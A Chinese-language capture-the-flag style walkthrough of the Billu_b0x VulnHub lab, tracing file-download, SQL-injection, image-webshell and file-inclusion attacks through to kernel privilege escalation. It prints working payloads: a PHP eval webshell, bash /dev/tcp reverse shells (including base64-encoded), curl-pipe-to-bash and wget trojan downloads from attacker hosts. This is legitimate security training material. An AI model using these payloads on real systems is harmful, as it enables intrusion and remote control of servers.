
Vulnlab_Billu_b0x靶机渗透实战笔记
本文最后更新于 2024-07-26,文章内容可能已经过时。
Billu_b0x靶机渗透实战笔记
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,
决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
实验环境:
window10
攻击机:kali(VMware)
靶机:Billu_b0x(Virtualbox)
靶机下载地址:https://download.vulnhub.com/billu/Billu_b0x.zip
攻击渗透实现步骤:
一、扫描采集信息
1、获取IP地址
扫描区域网内的网段发现靶机ip信息:(如果未发现ip地址,有可能说明靶机没有生成ip地址。本人的使用的环境是kali作为攻击机在vmware运行,靶机在vitualbox运行,需提前设置好网卡并实现互通,具体细节可以查看我的另一篇文章:Vitualbox联动靶机VMware,实现互通后,如果nmap扫描没有发现ip地址,可以查看我的另外一篇解决文章:VirtualBox的vulnhub靶机无法获取ip地址解决方法)
发现靶机ip为:
查询到IP地址为 192.168.56.106
2、获取端口信息
由于nmap默认情况下只扫描常用的1000个端口,覆盖面并不全,所以建议全端口扫描
nmap -sV -sC -A -O -T4 -p 1-65535 192.168.56.106
发现系统内核版本的范围, Linux 3.2 - 4.9
发现靶机开启了22、80端口是ssh服务(版本5.9)和Apache服务,Ubuntu服务器,尝试浏览器访问80端口
发现应该是和SQL注入相关的
拿sqlmap跑一下
没啥结果
3、漏洞扫描
nmap --script=vuln 192.168.137.131 无
Nessus 无
AWVS 无
4、扫描路径
使用dirb扫描
dirb http://192.168.56.106/ /usr/share/dirb/wordlists/big.txt
使用diresearch扫描
diresearch -u http://192.168.56.106/
跑出来的子域名如下:
phpMyAdmin数据库管理界面 http://192.168.137.131/phpmy/
文件包含漏洞 http://192.168.137.131/panel
二 Web渗透测试
1.test.php任意文件下载
用火狐的hackbar尝试post方式执行/etc/passwd获取密码文件,发现有任意文件下载漏洞。挨个进行尝试可以得到如下:
http://192.168.137.131/test.php POST: file=/etc/passwd
http://192.168.137.131/test.php POST: file=index.php
http://192.168.137.131/test.php POST: file=c.php
http://192.168.137.131/test.php POST: file=head.php
查看下载的passwd文件。
查看下载的c.php文件
直接暴露出数据库信息了。
2.c.php暴露MySQL账号信息
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
账号:billu 密码:b0x_billu 数据库为ica_lab,前面的获得的passwd里存在该用户。
3.进入PHPMyAdmin获取登录账号
登陆phpmyadmin,登陆成功:
Auth表里有像账号密码一样的数据,用该用户名biLLu和密码hEx_it成功登陆网站。
方法二:在index.php登录界面尝试进行手工SQL进入:
$uname=str_replace('\'','',urldecode($_POST['un'])); aaa
$pass=str_replace('\'','',urldecode($_POST['ps'])); 111
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
密码 123456\ 用户名 or 1=1 -- -
select * from auth where pass='123456\' and uname= ' or 1=1 -- - '
是草帽路飞!很经典的一幕。
在页面发现有上传文件的地方。尝试上传图片,发现上传成功
5 登录成功后上传图片马
图片马的生成方式:
1 copy xxx.jpg/b + yyy.php/a yyy.jpb
2 使用GIF89a生成gif图片马
创建一个文本文档命名为tpm,输入如下内容,把文档的后缀改为gif
GIF89a
<?php @eval($_POST['code']);?>
6 图片马测试
load=uploaded_images/tpm.gif&continue=continue&code=phpinfo();
7 GetShell
方案一
使用蚁剑来getshell,由于panel.php要登录后才能访问,所以我们在使用蚁剑的时候要添加cookie,来让服务器认为我们已经登录了
登录后,使用burp抓包获取到cookie
使用蚁剑getshell
方案二
利用文件包含漏洞基于图片马上传一句话木马
load=uploaded_images/tpm.gif&continue=continue&code=file_put_contents("uploaded_images/m2.php",'<?php @eval($_POST[a]);?>');
方案三
反弹shell
在kali上开启服务端口
nc -lvnp 4444
构建POC
bash -i >& /dev/tcp/192.168.56.103/4444 0>&1
把POC转base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMy80NDQ0IDA+JjE=
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMy80NDQ0IDA+JjE=|base64 -d|bash
load=uploaded_images/tpm.gif&continue&code=system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMy80NDQ0IDA+JjE=|base64 -d|bash');
方案四
只要目标系统能执行命令,则可以把shell脚本放置在攻击者服务器上,从攻击者的服务器下载shell脚本并执行,这种方式可以有效的避免特殊符号的过滤和替换
curl http://ip/xxx.txt | bash
1在kali上编写一个shell脚本
2在kali上有python开启一个服务,用来做文件服务器
python3 -m http.server 端口好
3在kali上开启反弹shell的服务器
nc -lvnp 4444
4在浏览器上运行如下代码,实现反弹
load=uploaded_images/tpm.gif&continue=continue&code=system('curl http://192.168.137.129/shell.txt |bash');
方案五
在目标服务器上运行如下命令,下载木马到靶机,完成木马的连接
wget http://192.168.156.103/shell.txt -O shell.php
三 系统提权
1 查看系统环境
2 根据系统的内核搜索提权漏洞
CVE2015-1328是linux的内核漏洞。
3 在kali上搜索37292
4 把kali上的37292.c上传到靶机
cd到文件目录,将37292.c改为可执行权限。
或者在kali存放37292.c文件的目录下开启http服务
python3 http.server 8000
cd到临时目录在靶机上运行curl保存,之后和如下一样进行编译提权
#cd到临时目录
cd /tmp
#下载
curl -O 192.168.228.4:8000/37292.c
#编译
gcc 37292.c -o exp
#执行
./exp
6 提权
编译
gcc 37292.c -o exp
对37292.c进行编译
-o 输出文件的路径
提权
./exp
执行输入id查看,提权成功。
尝试Dirty-Cow
40847.cpp 无法正常编译
40839.c 在菜刀下能编译,但是无法成功执行
尝试内核漏洞
37292.c 在冰蝎的虚拟终端下,设置PATH=/usr/local/bin:/usr/bin:/bin完成源码编译和提权
也可以在反弹shell的场景下完成提权 CVE2015-1328
- 感谢你赐予我前进的力量